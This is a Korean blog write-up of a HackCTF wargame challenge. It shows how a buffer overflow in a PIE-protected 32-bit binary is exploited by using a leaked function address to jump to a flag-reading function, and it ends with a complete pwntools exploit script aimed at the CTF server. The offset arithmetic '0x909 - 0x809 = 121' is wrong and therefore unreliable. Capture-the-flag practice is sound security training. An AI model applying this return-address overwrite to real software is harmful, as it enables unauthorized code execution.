file 명령어로 문제 파일을 확인하면 32비트 리눅스 실행파일임을 알 수 있다.

문제 파일을 실행하면 어떤 주소값을 출력하고, 사용자로부터 값을 입력받는다.

 

peda의 checksec명령을 이용하여 적용된 보호기법을 확인하면 nx와 pie보호기법이 적용되어 있음을 확인할 수 있다.

 

info func 명령으로 함수 목록을 확인하면 사용자 정의 함수는 다음과 같다.

 

ida 의 헥스레이 기능을 활용하여 각 함수들을 확인하면 다음과 같다.

j0n9hyun 함수는 flag 파일의 내용을 읽어와 출력하고 있고, welcome 함수는 welcome함수의 주소값을 출력하고, scanf함수를 반환하여 사용자로부터 값을 입력받고 있다. main 함수는 welcome 함수를 호출하고 있다.

문제 파일은 PIE보호기법이 적용되어 있기 때문에 실행할 때 마다 함수의 주소가 바뀌지만 상대적인 위치는 동일하므로 출력되는 welcome 함수의 주소를 통해 j0n9hyun함수의 주소값을 구할 수 있다. welcome 함수와 j0n9hyun함수는 0x909 - 0x809로 121 만큼 위치 차이가 난다.

welcome 함수에서 v1의 크기는 18인데 입력받는 곳에서 입력값의 크기를 제한하지 않기 때문에 bof가 발생한다.

따라서 18(v1 크기) + 4(ret까지 거리)만큼 입력값을 채우고 welcome 주소값을 이용하여 j0n9hyun 함수의 주소를 구해서 넣으면 j0n9hyun 함수를 실행시킬 수 있다. 이 과정을 익스 코드로 작성하면 다음과 같고, 이 익스 코드를 실행하면 플래그를 얻을 수 있다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3008)
p.recvline()
p.recvuntil('j0n9hyun is ')

w_addr = int(p.recv(10), 16)
# print(hex(w_addr))

pay = 'A'*22
pay += p32(w_addr-121)

p.sendline(pay) 
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[pwnable.kr] shellshock  (0) 2021.06.16
[pwnable.kr] input  (0) 2021.06.15
[LoS] golem  (0) 2021.05.19
[HackCTF] Offset  (0) 2021.05.13
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10

+ Recent posts